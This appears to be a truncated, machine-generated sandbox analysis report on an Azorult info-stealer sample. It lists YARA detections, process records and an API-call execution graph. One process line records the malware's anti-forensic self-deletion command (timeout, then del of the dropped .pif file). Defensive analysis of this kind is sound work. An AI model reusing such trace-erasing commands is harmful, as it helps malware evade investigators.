                                                                                    • Rule: Azorult_1, Description: Azorult Payload, Source: 00000023.00000001.2443186180.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: kevoreilly
                                                                                    • Rule: Azorult, Description: detect Azorult in memory, Source: 00000023.00000001.2443186180.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                    • Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000023.00000001.2443186180.0000000000479000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000023.00000001.2443186180.0000000000479000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 00000023.00000001.2443186180.0000000000479000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                    • Rule: Azorult, Description: detect Azorult in memory, Source: 00000023.00000001.2443186180.0000000000479000.00000040.00000001.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:37
                                                                                    Start time:04:58:30
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\SysWOW64\cmd.exe
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "uhvutpdX.pif"
                                                                                    Imagebase:0x7ff6ae840000
                                                                                    File size:236'544 bytes
                                                                                    MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                    Has elevated privileges:false
                                                                                    Has administrator privileges:false
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:38
                                                                                    Start time:04:58:30
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    Imagebase:0x7ff66e660000
                                                                                    File size:862'208 bytes
                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                    Has elevated privileges:false
                                                                                    Has administrator privileges:false
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:39
                                                                                    Start time:04:58:30
                                                                                    Start date:16/10/2024
                                                                                    Path:C:\Windows\SysWOW64\timeout.exe
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:C:\Windows\system32\timeout.exe 3
                                                                                    Imagebase:0xdb0000
                                                                                    File size:25'088 bytes
                                                                                    MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                                                                    Has elevated privileges:false
                                                                                    Has administrator privileges:false
                                                                                    Programmed in:C, C++ or other language
                                                                                    Has exited:true

                                                                                    Disassembly

                                                                                    Reset < >

                                                                                      Execution Graph

                                                                                      Execution Coverage:5.5%
                                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                                      Signature Coverage:32.3%
                                                                                      Total number of Nodes:604
                                                                                      Total number of Limit Nodes:22
                                                                                      execution_graph 16723 7ff78cf58d80 16724 7ff78cf58da4 16723->16724 16725 7ff78cf58db6 16724->16725 16726 7ff78cf58dbf Sleep 16724->16726 16727 7ff78cf58ddb _amsg_exit 16725->16727 16730 7ff78cf58de7 16725->16730 16726->16724 16727->16730 16728 7ff78cf58e73 _IsNonwritableInCurrentImage 16737 7ff78cf537d8 GetCurrentThreadId OpenThread 16728->16737 16729 7ff78cf58e56 _initterm 16729->16728 16730->16728 16730->16729 16732 7ff78cf58e3c 16730->16732 16770 7ff78cf504f4 16737->16770 16739 7ff78cf53839 HeapSetInformation RegOpenKeyExW 16740 7ff78cf5388d 16739->16740 16741 7ff78cf5e9f8 RegQueryValueExW RegCloseKey 16739->16741 16742 7ff78cf55920 VirtualQuery VirtualQuery 16740->16742 16744 7ff78cf5ea41 GetThreadLocale 16741->16744 16743 7ff78cf538ab GetConsoleOutputCP GetCPInfo 16742->16743 16743->16744 16745 7ff78cf538f1 memset 16743->16745 16760 7ff78cf53919 16744->16760 16745->16760 16746 7ff78cf54d5c 391 API calls 16746->16760 16747 7ff78cf5eb27 _setjmp 16747->16760 16748 7ff78cf53948 _setjmp 16748->16760 16749 7ff78cf43240 166 API calls 16749->16760 16750 7ff78cf501b8 6 API calls 16750->16760 16751 7ff78cf54c1c 166 API calls 16751->16760 16752 7ff78cf5eb71 _setmode 16752->16760 16753 7ff78cf68530 370 API calls 16753->16760 16754 7ff78cf586f0 182 API calls 16754->16760 16755 7ff78cf50580 12 API calls 16756 7ff78cf5398b GetConsoleOutputCP GetCPInfo 16755->16756 16758 7ff78cf504f4 GetModuleHandleW GetProcAddress SetThreadLocale 16756->16758 16757 7ff78cf558e4 EnterCriticalSection LeaveCriticalSection 16757->16760 16758->16760 16759 7ff78cf4be00 647 API calls 16759->16760 16760->16741 16760->16746 16760->16747 16760->16748 16760->16749 16760->16750 16760->16751 16760->16752 16760->16753 16760->16754 16760->16755 16760->16757 16760->16759 16761 7ff78cf4df60 481 API calls 16760->16761 16762 7ff78cf558e4 EnterCriticalSection LeaveCriticalSection 16760->16762 16761->16760 16763 7ff78cf5ebbe GetConsoleOutputCP GetCPInfo 16762->16763 16764 7ff78cf504f4 GetModuleHandleW GetProcAddress SetThreadLocale 16763->16764 16765 7ff78cf5ebe6 16764->16765 16766 7ff78cf4be00 647 API calls 16765->16766 16767 7ff78cf50580 12 API calls 16765->16767 16766->16765 16768 7ff78cf5ebfc GetConsoleOutputCP GetCPInfo 16767->16768 16769 7ff78cf504f4 GetModuleHandleW GetProcAddress SetThreadLocale 16768->16769 16769->16760 16771 7ff78cf50504 16770->16771 16772 7ff78cf5051e GetModuleHandleW 16771->16772 16773 7ff78cf5054d GetProcAddress 16771->16773 16774 7ff78cf5056c SetThreadLocale 16771->16774 16772->16771 16773->16771 22191 7ff78cf4b8c0 22194 7ff78cf4be00 22191->22194 22195 7ff78cf4b8d4 22194->22195 22196 7ff78cf4be1b 22194->22196 22196->22195 22197 7ff78cf4be67 22196->22197 22198 7ff78cf4be47 memset 22196->22198 22200 7ff78cf4be73 22197->22200 22202 7ff78cf4bf29 22197->22202 22203 7ff78cf4beaf 22197->22203 22301 7ff78cf4bff0 22198->22301 22201 7ff78cf4be92 22200->22201 22206 7ff78cf4bf0c 22200->22206 22212 7ff78cf4bea1 22201->22212 22228 7ff78cf4c620 GetConsoleTitleW 22201->22228 22204 7ff78cf4cd90 166 API calls 22202->22204 22203->22195 22209 7ff78cf4bff0 185 API calls 22203->22209 22205 7ff78cf4bf33 22204->22205 22205->22203 22210 7ff78cf4bf70 22205->22210 22213 7ff78cf488a8 _wcsicmp 22205->22213 22339 7ff78cf4b0d8 memset 22206->22339 22209->22195 22222 7ff78cf4bf75 22210->22222 22399 7ff78cf471ec 22210->22399 22212->22203 22218 7ff78cf4af98 2 API calls 22212->22218 22217 7ff78cf4bf5a 22213->22217 22214 7ff78cf4bf1e 22214->22203 22216 7ff78cf4bfa9 22216->22203 22219 7ff78cf4cd90 166 API calls 22216->22219 22217->22210 22220 7ff78cf50a6c 273 API calls 22217->22220 22218->22203 22221 7ff78cf4bfbb 22219->22221 22220->22210 22221->22203 22223 7ff78cf5081c 166 API calls 22221->22223 22224 7ff78cf4b0d8 194 API calls 22222->22224 22223->22222 22225 7ff78cf4bf7f 22224->22225 22225->22203 22272 7ff78cf55ad8 22225->22272 22230 7ff78cf4c675 22228->22230 22235 7ff78cf4ca2f 22228->22235 22229 7ff78cf5c5fc GetLastError 22229->22235 22232 7ff78cf4ca40 17 API calls 22230->22232 22231 7ff78cf43278 166 API calls 22231->22235 22241 7ff78cf4c69b 22232->22241 22233 7ff78cf5855c ??_V@YAXPEAX 22233->22235 22234 7ff78cf5291c 8 API calls 22258 7ff78cf4c762 22234->22258 22235->22229 22235->22231 22235->22233 22236 7ff78cf4c9b5 22240 7ff78cf5855c ??_V@YAXPEAX 22236->22240 22237 7ff78cf489c0 23 API calls 22264 7ff78cf4c964 22237->22264 22238 7ff78cf4c978 towupper 22238->22264 22239 7ff78cf5855c ??_V@YAXPEAX 22239->22258 22259 7ff78cf4c855 22240->22259 22241->22235 22241->22236 22242 7ff78cf4d3f0 223 API calls 22241->22242 22241->22258 22244 7ff78cf4c741 22242->22244 22243 7ff78cf6ec14 173 API calls 22243->22258 22247 7ff78cf4c74d 22244->22247 22249 7ff78cf4c8b5 wcsncmp 22244->22249 22245 7ff78cf4c872 22248 7ff78cf5855c ??_V@YAXPEAX 22245->22248 22246 7ff78cf5c6b8 SetConsoleTitleW 22246->22245 22253 7ff78cf4bd38 207 API calls 22247->22253 22247->22258 22250 7ff78cf4c87c 22248->22250 22249->22247 22249->22258 22251 7ff78cf58f80 7 API calls 22250->22251 22254 7ff78cf4c88e 22251->22254 22252 7ff78cf4c83d 22405 7ff78cf4cb40 22252->22405 22253->22258 22254->22212 22256 7ff78cf4c78a wcschr 22256->22258 22258->22234 22258->22235 22258->22239 22258->22252 22258->22256 22260 7ff78cf4ca25 22258->22260 22262 7ff78cf5c684 22258->22262 22258->22264 22266 7ff78cf4ca2a 22258->22266 22259->22245 22259->22246 22263 7ff78cf43278 166 API calls 22260->22263 22265 7ff78cf43278 166 API calls 22262->22265 22263->22235 22264->22229 22264->22236 22264->22237 22264->22238 22264->22243 22264->22258 22268 7ff78cf4ca16 GetLastError 22264->22268 22265->22235 22267 7ff78cf59158 7 API calls 22266->22267 22267->22235 22270 7ff78cf43278 166 API calls 22268->22270 22271 7ff78cf5c675 22270->22271 22271->22235 22273 7ff78cf4cd90 166 API calls 22272->22273 22274 7ff78cf55b12 22273->22274 22275 7ff78cf4cb40 166 API calls 22274->22275 22300 7ff78cf55b8b 22274->22300 22277 7ff78cf55b26 22275->22277 22276 7ff78cf58f80 7 API calls 22278 7ff78cf4bf99 22276->22278 22279 7ff78cf50a6c 273 API calls 22277->22279 22277->22300 22278->22212 22280 7ff78cf55b43 22279->22280 22281 7ff78cf55bb8 22280->22281 22282 7ff78cf55b48 GetConsoleTitleW 22280->22282 22283 7ff78cf55bbd GetConsoleTitleW 22281->22283 22284 7ff78cf55bf4 22281->22284 22285 7ff78cf4cad4 172 API calls 22282->22285 22289 7ff78cf4cad4 172 API calls 22283->22289 22286 7ff78cf55bfd 22284->22286 22287 7ff78cf5f452 22284->22287 22288 7ff78cf55b66 22285->22288 22293 7ff78cf55c1b 22286->22293 22294 7ff78cf5f462 22286->22294 22286->22300 22291 7ff78cf53c24 166 API calls 22287->22291 22421 7ff78cf54224 InitializeProcThreadAttributeList 22288->22421 22292 7ff78cf55bdb 22289->22292 22291->22300 22481 7ff78cf496e8 22292->22481 22297 7ff78cf43278 166 API calls 22293->22297 22298 7ff78cf43278 166 API calls 22294->22298 22295 7ff78cf55b7f 22299 7ff78cf55c3c SetConsoleTitleW 22295->22299 22297->22300 22298->22300 22299->22300 22300->22276 22302 7ff78cf4c0c4 22301->22302 22303 7ff78cf4c01c 22301->22303 22302->22197 22304 7ff78cf4c086 22303->22304 22305 7ff78cf4c022 22303->22305 22308 7ff78cf4c144 22304->22308 22321 7ff78cf4c094 22304->22321 22306 7ff78cf4c113 22305->22306 22307 7ff78cf4c030 22305->22307 22314 7ff78cf4ff70 2 API calls 22306->22314 22319 7ff78cf4c053 22306->22319 22309 7ff78cf4c039 wcschr 22307->22309 22307->22319 22310 7ff78cf4c151 22308->22310 22327 7ff78cf4c1c8 22308->22327 22311 7ff78cf4c301 22309->22311 22309->22319 22687 7ff78cf4c460 22310->22687 22315 7ff78cf4cd90 166 API calls 22311->22315 22312 7ff78cf4c058 22323 7ff78cf4ff70 2 API calls 22312->22323 22325 7ff78cf4c073 22312->22325 22313 7ff78cf4c0c6 22318 7ff78cf4c0cf wcschr 22313->22318 22313->22325 22314->22319 22329 7ff78cf4c30b 22315->22329 22317 7ff78cf4c460 183 API calls 22317->22321 22322 7ff78cf4c1be 22318->22322 22318->22325 22319->22312 22319->22313 22330 7ff78cf4c211 22319->22330 22321->22302 22321->22317 22324 7ff78cf4cd90 166 API calls 22322->22324 22323->22325 22324->22327 22325->22302 22326 7ff78cf4c460 183 API calls 22325->22326 22326->22325 22327->22302 22327->22330 22331 7ff78cf4c285 22327->22331 22335 7ff78cf4d840 178 API calls 22327->22335 22328 7ff78cf4c460 183 API calls 22328->22302 22329->22302 22329->22330 22332 7ff78cf4d840 178 API calls 22329->22332 22338 7ff78cf4c3d4 22329->22338 22333 7ff78cf4ff70 2 API calls 22330->22333 22331->22330 22336 7ff78cf4b6b0 170 API calls 22331->22336 22332->22329 22333->22302 22334 7ff78cf4b6b0 170 API calls 22334->22319 22335->22327 22337 7ff78cf4c2ac 22336->22337 22337->22325 22337->22330 22338->22325 22338->22330 22338->22334 22340 7ff78cf4ca40 17 API calls 22339->22340 22355 7ff78cf4b162 22340->22355 22341 7ff78cf4b1d9 22346 7ff78cf4cd90 166 API calls 22341->22346 22362 7ff78cf4b1ed 22341->22362 22342 7ff78cf4b2f7 ??_V@YAXPEAX 22343 7ff78cf4b303 22342->22343 22345 7ff78cf58f80 7 API calls 22343->22345 22344 7ff78cf51ea0 8 API calls 22344->22355 22347 7ff78cf4b315 22345->22347 22346->22362 22347->22201 22347->22214 22349 7ff78cf4b228 _get_osfhandle 22351 7ff78cf4b23f _get_osfhandle 22349->22351 22349->22362 22350 7ff78cf5bfef _get_osfhandle SetFilePointer 22352 7ff78cf5c01d 22350->22352 22350->22362 22351->22362 22354 7ff78cf533f0 _vsnwprintf 22352->22354 22357 7ff78cf5c038 22354->22357 22355->22341 22355->22344 22355->22355 22390 7ff78cf4b2e1 22355->22390 22356 7ff78cf501b8 6 API calls 22356->22362 22361 7ff78cf43278 166 API calls 22357->22361 22358 7ff78cf5c1c3 22359 7ff78cf533f0 _vsnwprintf 22358->22359 22359->22357 22360 7ff78cf4d208 _close 22360->22362 22364 7ff78cf5c1f9 22361->22364 22362->22349 22362->22350 22362->22356 22362->22358 22362->22360 22363 7ff78cf5c060 22362->22363 22365 7ff78cf5c246 22362->22365 22367 7ff78cf4b038 _dup2 22362->22367 22368 7ff78cf526e0 19 API calls 22362->22368 22373 7ff78cf4b356 22362->22373 22362->22390 22398 7ff78cf5c1a5 22362->22398 22701 7ff78cf4affc _dup 22362->22701 22703 7ff78cf6f318 _get_osfhandle GetFileType 22362->22703 22363->22365 22369 7ff78cf509f4 2 API calls 22363->22369 22366 7ff78cf4af98 2 API calls 22364->22366 22370 7ff78cf4af98 2 API calls 22365->22370 22366->22390 22367->22362 22368->22362 22374 7ff78cf5c084 22369->22374 22375 7ff78cf5c24b 22370->22375 22371 7ff78cf4b038 _dup2 22372 7ff78cf5c1b7 22371->22372 22376 7ff78cf5c1be 22372->22376 22377 7ff78cf5c207 22372->22377 22380 7ff78cf4af98 2 API calls 22373->22380 22378 7ff78cf4b900 166 API calls 22374->22378 22379 7ff78cf6f1d8 166 API calls 22375->22379 22381 7ff78cf4d208 _close 22376->22381 22383 7ff78cf4d208 _close 22377->22383 22382 7ff78cf5c08c 22378->22382 22379->22390 22384 7ff78cf5c211 22380->22384 22381->22358 22385 7ff78cf5c094 wcsrchr 22382->22385 22387 7ff78cf5c0ad 22382->22387 22383->22373 22386 7ff78cf533f0 _vsnwprintf 22384->22386 22385->22387 22388 7ff78cf5c22c 22386->22388 22391 7ff78cf5c106 22387->22391 22393 7ff78cf5c0e0 _wcsnicmp 22387->22393 22389 7ff78cf43278 166 API calls 22388->22389 22389->22390 22390->22342 22390->22343 22392 7ff78cf4ff70 2 API calls 22391->22392 22394 7ff78cf5c13b 22392->22394 22393->22387 22394->22365 22395 7ff78cf5c146 SearchPathW 22394->22395 22395->22365 22396 7ff78cf5c188 22395->22396 22397 7ff78cf526e0 19 API calls 22396->22397 22397->22398 22398->22371 22400 7ff78cf47211 _setjmp 22399->22400 22404 7ff78cf47279 22399->22404 22402 7ff78cf47265 22400->22402 22400->22404 22704 7ff78cf472b0 22402->22704 22404->22216 22406 7ff78cf4cb63 22405->22406 22407 7ff78cf4cd90 166 API calls 22406->22407 22408 7ff78cf4c848 22407->22408 22408->22259 22409 7ff78cf4cad4 22408->22409 22410 7ff78cf4cb05 22409->22410 22411 7ff78cf4cad9 22409->22411 22410->22259 22411->22410 22412 7ff78cf4cd90 166 API calls 22411->22412 22413 7ff78cf5c722 22412->22413 22413->22410 22414 7ff78cf5c72e GetConsoleTitleW 22413->22414 22414->22410 22415 7ff78cf5c74a 22414->22415 22416 7ff78cf4b6b0 170 API calls 22415->22416 22420 7ff78cf5c778 22416->22420 22417 7ff78cf5c7ec 22418 7ff78cf4ff70 2 API calls 22417->22418 22418->22410 22419 7ff78cf5c7dd SetConsoleTitleW 22419->22417 22420->22417 22420->22419 22422 7ff78cf542ab UpdateProcThreadAttribute 22421->22422 22423 7ff78cf5ecd4 GetLastError 22421->22423 22425 7ff78cf542eb memset memset GetStartupInfoW 22422->22425 22426 7ff78cf5ecf0 GetLastError 22422->22426 22424 7ff78cf5ecee 22423->22424 22428 7ff78cf53a90 170 API calls 22425->22428 22518 7ff78cf69eec 22426->22518 22430 7ff78cf543a8 22428->22430 22431 7ff78cf4b900 166 API calls 22430->22431 22432 7ff78cf543bb 22431->22432 22433 7ff78cf543cc 22432->22433 22434 7ff78cf54638 _local_unwind 22432->22434 22435 7ff78cf543de wcsrchr 22433->22435 22436 7ff78cf54415 22433->22436 22434->22433 22435->22436 22437 7ff78cf543f7 lstrcmpW 22435->22437 22505 7ff78cf55a68 _get_osfhandle SetConsoleMode _get_osfhandle SetConsoleMode 22436->22505 22437->22436 22439 7ff78cf54668 22437->22439 22506 7ff78cf69044 22439->22506 22440 7ff78cf5441a 22442 7ff78cf5442a CreateProcessW 22440->22442 22444 7ff78cf54596 CreateProcessAsUserW 22440->22444 22443 7ff78cf5448b 22442->22443 22445 7ff78cf54495 CloseHandle 22443->22445 22446 7ff78cf54672 GetLastError 22443->22446 22444->22443 22447 7ff78cf5498c 8 API calls 22445->22447 22450 7ff78cf5468d 22446->22450 22448 7ff78cf544c5 22447->22448 22448->22450 22463 7ff78cf544cd 22448->22463 22449 7ff78cf547a3 22449->22295 22451 7ff78cf4cd90 166 API calls 22450->22451 22450->22463 22452 7ff78cf54724 22451->22452 22454 7ff78cf5472c _local_unwind 22452->22454 22464 7ff78cf5473d 22452->22464 22453 7ff78cf55cb4 7 API calls 22457 7ff78cf54517 22453->22457 22454->22464 22455 7ff78cf547e1 CloseHandle 22456 7ff78cf5461c 22455->22456 22458 7ff78cf4ff70 GetProcessHeap RtlFreeHeap 22456->22458 22459 7ff78cf533f0 _vsnwprintf 22457->22459 22461 7ff78cf547fa DeleteProcThreadAttributeList 22458->22461 22460 7ff78cf54544 22459->22460 22462 7ff78cf5498c 8 API calls 22460->22462 22465 7ff78cf58f80 7 API calls 22461->22465 22467 7ff78cf54558 22462->22467 22463->22449 22468 7ff78cf6a250 33 API calls 22463->22468 22471 7ff78cf544f8 22463->22471 22472 7ff78cf4ff70 GetProcessHeap RtlFreeHeap 22464->22472 22466 7ff78cf54820 22465->22466 22466->22295 22469 7ff78cf547ae 22467->22469 22470 7ff78cf54564 22467->22470 22468->22471 22474 7ff78cf533f0 _vsnwprintf 22469->22474 22473 7ff78cf5498c 8 API calls 22470->22473 22471->22449 22471->22453 22477 7ff78cf54612 22471->22477 22475 7ff78cf5475b _local_unwind 22472->22475 22476 7ff78cf54577 22473->22476 22474->22477 22475->22463 22476->22456 22478 7ff78cf5457f 22476->22478 22477->22455 22477->22456 22479 7ff78cf6a920 210 API calls 22478->22479 22480 7ff78cf54584 22479->22480 22480->22456 22498 7ff78cf49737 22481->22498 22483 7ff78cf4977d memset 22485 7ff78cf4ca40 17 API calls 22483->22485 22484 7ff78cf4cd90 166 API calls 22484->22498 22485->22498 22486 7ff78cf5b76e 22488 7ff78cf43278 166 API calls 22486->22488 22487 7ff78cf5b7b3 22490 7ff78cf5b787 22488->22490 22489 7ff78cf5b79a 22492 7ff78cf5855c ??_V@YAXPEAX 22489->22492 22493 7ff78cf5b795 22490->22493 22495 7ff78cf6e944 393 API calls 22490->22495 22491 7ff78cf4b364 17 API calls 22491->22498 22492->22487 22603 7ff78cf67694 22493->22603 22495->22493 22498->22483 22498->22484 22498->22486 22498->22487 22498->22489 22498->22491 22499 7ff78cf496b4 186 API calls 22498->22499 22500 7ff78cf4986d 22498->22500 22520 7ff78cf51fac memset 22498->22520 22547 7ff78cf4ce10 22498->22547 22597 7ff78cf55920 22498->22597 22499->22498 22501 7ff78cf4988c 22500->22501 22502 7ff78cf49880 ??_V@YAXPEAX 22500->22502 22503 7ff78cf58f80 7 API calls 22501->22503 22502->22501 22504 7ff78cf4989d 22503->22504 22504->22295 22507 7ff78cf53a90 170 API calls 22506->22507 22508 7ff78cf69064 22507->22508 22509 7ff78cf6906e 22508->22509 22510 7ff78cf69083 22508->22510 22511 7ff78cf5498c 8 API calls 22509->22511 22512 7ff78cf4cd90 166 API calls 22510->22512 22517 7ff78cf69081 22511->22517 22513 7ff78cf6909b 22512->22513 22514 7ff78cf5498c 8 API calls 22513->22514 22513->22517 22515 7ff78cf690ec 22514->22515 22516 7ff78cf4ff70 2 API calls 22515->22516 22516->22517 22517->22436 22519 7ff78cf5ed0a DeleteProcThreadAttributeList 22518->22519 22519->22424 22521 7ff78cf5203b 22520->22521 22522 7ff78cf520b0 22521->22522 22523 7ff78cf52094 22521->22523 22524 7ff78cf53060 171 API calls 22522->22524 22526 7ff78cf5211c 22522->22526 22525 7ff78cf520a6 22523->22525 22527 7ff78cf43278 166 API calls 22523->22527 22524->22526 22529 7ff78cf58f80 7 API calls 22525->22529 22526->22525 22528 7ff78cf52e44 2 API calls 22526->22528 22527->22525 22531 7ff78cf52148 22528->22531 22530 7ff78cf52325 22529->22530 22530->22498 22531->22525 22532 7ff78cf52d70 3 API calls 22531->22532 22533 7ff78cf521af 22532->22533 22534 7ff78cf4b900 166 API calls 22533->22534 22536 7ff78cf521d0 22534->22536 22535 7ff78cf5e04a ??_V@YAXPEAX 22535->22525 22536->22535 22537 7ff78cf5221c wcsspn 22536->22537 22546 7ff78cf522a4 ??_V@YAXPEAX 22536->22546 22538 7ff78cf4b900 166 API calls 22537->22538 22540 7ff78cf5223b 22538->22540 22540->22535 22544 7ff78cf52252 22540->22544 22541 7ff78cf5228f 22542 7ff78cf4d3f0 223 API calls 22541->22542 22542->22546 22543 7ff78cf5e06d wcschr 22543->22544 22544->22541 22544->22543 22545 7ff78cf5e090 towupper 22544->22545 22545->22541 22545->22544 22546->22525 22586 7ff78cf4d0f8 22547->22586 22593 7ff78cf4ce5b 22547->22593 22548 7ff78cf58f80 7 API calls 22551 7ff78cf4d10a 22548->22551 22549 7ff78cf5c860 22550 7ff78cf5c97c 22549->22550 22554 7ff78cf6ee88 390 API calls 22549->22554 22553 7ff78cf6e9b4 197 API calls 22550->22553 22551->22498 22552 7ff78cf50494 182 API calls 22552->22593 22555 7ff78cf5c981 longjmp 22553->22555 22556 7ff78cf5c879 22554->22556 22557 7ff78cf5c99a 22555->22557 22558 7ff78cf5c95c 22556->22558 22559 7ff78cf5c882 EnterCriticalSection LeaveCriticalSection 22556->22559 22561 7ff78cf5c9b3 ??_V@YAXPEAX 22557->22561 22557->22586 22558->22550 22562 7ff78cf496b4 186 API calls 22558->22562 22564 7ff78cf4d0e3 22559->22564 22561->22586 22562->22558 22563 7ff78cf4ceaa _tell 22565 7ff78cf4d208 _close 22563->22565 22564->22498 22565->22593 22566 7ff78cf4cd90 166 API calls 22566->22593 22567 7ff78cf5c9d5 22569 7ff78cf6d610 167 API calls 22567->22569 22568 7ff78cf4b900 166 API calls 22568->22593 22570 7ff78cf5c9da 22569->22570 22571 7ff78cf5ca07 22570->22571 22573 7ff78cf6bfec 176 API calls 22570->22573 22572 7ff78cf6e91c 198 API calls 22571->22572 22577 7ff78cf5ca0c 22572->22577 22574 7ff78cf5c9f1 22573->22574 22576 7ff78cf43240 166 API calls 22574->22576 22575 7ff78cf4cf33 memset 22575->22593 22576->22571 22577->22498 22578 7ff78cf4ca40 17 API calls 22578->22593 22579 7ff78cf4d184 wcschr 22579->22593 22580 7ff78cf6bfec 176 API calls 22580->22593 22581 7ff78cf5c9c9 22583 7ff78cf5855c ??_V@YAXPEAX 22581->22583 22582 7ff78cf4d1a7 wcschr 22582->22593 22583->22586 22584 7ff78cf6778c 166 API calls 22584->22593 22585 7ff78cf4be00 635 API calls 22585->22593 22586->22548 22587 7ff78cf50a6c 273 API calls 22587->22593 22588 7ff78cf53448 166 API calls 22588->22593 22589 7ff78cf50580 12 API calls 22591 7ff78cf4d003 GetConsoleOutputCP GetCPInfo 22589->22591 22590 7ff78cf4cfab _wcsicmp 22590->22593 22592 7ff78cf504f4 3 API calls 22591->22592 22592->22593 22593->22549 22593->22552 22593->22557 22593->22564 22593->22566 22593->22567 22593->22568 22593->22575 22593->22578 22593->22579 22593->22580 22593->22581 22593->22582 22593->22584 22593->22585 22593->22586 22593->22587 22593->22588 22593->22589 22593->22590 22595 7ff78cf51fac 238 API calls 22593->22595 22596 7ff78cf4d044 ??_V@YAXPEAX 22593->22596 22609 7ff78cf4df60 22593->22609 22629 7ff78cf6c738 22593->22629 22595->22593 22596->22593 22598 7ff78cf5596c 22597->22598 22602 7ff78cf55a12 22597->22602 22599 7ff78cf5598d VirtualQuery 22598->22599 22598->22602 22601 7ff78cf559ad 22599->22601 22599->22602 22600 7ff78cf559b7 VirtualQuery 22600->22601 22600->22602 22601->22600 22601->22602 22602->22498 22604 7ff78cf676a3 22603->22604 22605 7ff78cf676b7 22604->22605 22606 7ff78cf496b4 186 API calls 22604->22606 22607 7ff78cf6e9b4 197 API calls 22605->22607 22606->22604 22608 7ff78cf676bc longjmp 22607->22608 22610 7ff78cf4df93 22609->22610 22612 7ff78cf4dfe2 22609->22612 22611 7ff78cf4df9f GetProcessHeap RtlFreeHeap 22610->22611 22610->22612 22611->22610 22611->22612 22613 7ff78cf4e100 VirtualFree 22612->22613 22614 7ff78cf4e00b _setjmp 22612->22614 22613->22612 22615 7ff78cf4e04a 22614->22615 22616 7ff78cf4e0c3 22614->22616 22617 7ff78cf4e600 473 API calls 22615->22617 22616->22563 22618 7ff78cf4e073 22617->22618 22619 7ff78cf4e0e0 longjmp 22618->22619 22620 7ff78cf4e081 22618->22620 22622 7ff78cf4e0b0 22619->22622 22621 7ff78cf4d250 475 API calls 22620->22621 22623 7ff78cf4e086 22621->22623 22622->22616 22639 7ff78cf6d3fc 22622->22639 22623->22622 22626 7ff78cf4e600 473 API calls 22623->22626 22627 7ff78cf4e0a7 22626->22627 22627->22622 22628 7ff78cf6d610 167 API calls 22627->22628 22628->22622 22630 7ff78cf6c775 22629->22630 22637 7ff78cf6c7ab 22629->22637 22631 7ff78cf4cd90 166 API calls 22630->22631 22632 7ff78cf6c781 22631->22632 22633 7ff78cf6c8d4 22632->22633 22634 7ff78cf4b0d8 194 API calls 22632->22634 22633->22593 22634->22633 22635 7ff78cf4b6b0 170 API calls 22635->22637 22636 7ff78cf4b038 _dup2 22636->22637 22637->22632 22637->22633 22637->22635 22637->22636 22638 7ff78cf4d208 _close 22637->22638 22638->22637 22640 7ff78cf6d419 22639->22640 22641 7ff78cf6d555 22640->22641 22642 7ff78cf6d592 22640->22642 22643 7ff78cf6d5c4 22640->22643 22649 7ff78cf53448 166 API calls 22640->22649 22651 7ff78cf6d541 22640->22651 22652 7ff78cf5cadf 22640->22652 22655 7ff78cf6d3fc 166 API calls 22640->22655 22664 7ff78cf6d31c 22641->22664 22644 7ff78cf53448 166 API calls 22642->22644 22645 7ff78cf53448 166 API calls 22643->22645 22647 7ff78cf6d5a5 22644->22647 22645->22652 22648 7ff78cf6d5ba 22647->22648 22653 7ff78cf53448 166 API calls 22647->22653 22657 7ff78cf6d36c 22648->22657 22649->22640 22650 7ff78cf6d546 22650->22641 22650->22643 22651->22642 22651->22643 22651->22650 22656 7ff78cf6d589 22651->22656 22653->22648 22655->22640 22656->22641 22656->22642 22658 7ff78cf6d3d8 22657->22658 22659 7ff78cf6d381 22657->22659 22660 7ff78cf534a0 166 API calls 22659->22660 22663 7ff78cf6d390 22660->22663 22661 7ff78cf53448 166 API calls 22661->22663 22662 7ff78cf534a0 166 API calls 22662->22663 22663->22658 22663->22661 22663->22662 22665 7ff78cf53448 166 API calls 22664->22665 22666 7ff78cf6d33b 22665->22666 22667 7ff78cf6d36c 166 API calls 22666->22667 22668 7ff78cf6d343 22667->22668 22669 7ff78cf6d3fc 166 API calls 22668->22669 22674 7ff78cf6d34e 22669->22674 22670 7ff78cf6d5c2 22670->22652 22671 7ff78cf6d592 22673 7ff78cf53448 166 API calls 22671->22673 22672 7ff78cf6d5c4 22675 7ff78cf53448 166 API calls 22672->22675 22677 7ff78cf6d5a5 22673->22677 22674->22670 22674->22671 22674->22672 22679 7ff78cf53448 166 API calls 22674->22679 22683 7ff78cf6d555 22674->22683 22684 7ff78cf6d541 22674->22684 22686 7ff78cf6d3fc 166 API calls 22674->22686 22675->22670 22676 7ff78cf6d31c 166 API calls 22676->22670 22678 7ff78cf6d5ba 22677->22678 22681 7ff78cf53448 166 API calls 22677->22681 22682 7ff78cf6d36c 166 API calls 22678->22682 22679->22674 22680 7ff78cf6d546 22680->22672 22680->22683 22681->22678 22682->22670 22683->22676 22684->22671 22684->22672 22684->22680 22685 7ff78cf6d589 22684->22685 22685->22671 22685->22683 22686->22674 22688 7ff78cf4c4c9 22687->22688 22689 7ff78cf4c486 22687->22689 22693 7ff78cf4ff70 2 API calls 22688->22693 22694 